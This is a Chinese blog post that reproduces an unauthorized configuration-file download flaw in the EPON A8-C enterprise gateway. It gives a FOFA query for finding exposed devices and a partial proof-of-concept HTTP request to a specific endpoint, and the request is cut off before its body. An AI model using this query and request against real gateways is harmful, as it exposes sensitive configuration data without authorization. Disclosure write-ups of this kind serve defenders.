【漏洞复现】EPON上行A8-C政企网关未授权下载漏洞

最新推荐文章于 2024-08-05 18:19:59 发布

晚风不及你ღ

最新推荐文章于 2024-08-05 18:19:59 发布

阅读量873

点赞数 11

文章标签：网络 web安全安全

本文链接：https://blog.csdn.net/qq_37113223/article/details/136035683

版权

【漏洞复现】专栏收录该内容

150 篇文章 1 订阅

已下架不支持订阅

本文详细介绍了EPON上行A8-C政企网关的一个安全问题，该网关存在未授权下载配置文件的漏洞，允许攻击者在未经许可的情况下获取包含敏感信息的配置文件。通过fofa查询工具可以找到受影响的产品。为修复此漏洞，建议联系设备制造商进行处理。

摘要由CSDN通过智能技术生成

Nx01 产品简介

EPON上行A8-C政企网关是一款终端产品，提供企业网络解决方案。

Nx02 漏洞描述

EPON上行A8-C政企网关配置文件未授权下载漏洞，攻击者在未授权状态下下载配置文件，获取配置文件内敏感信息。

Nx03 产品主页

fofa-query: "ZXECS" && title=="Web user login"

Nx04 漏洞复现

POC：

POST /sys_manager/back_huifu_mod.php?index_name= HTTP/1.1
Host: {
  {Hostname}}
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safa

了解本专栏

已下架不支持订阅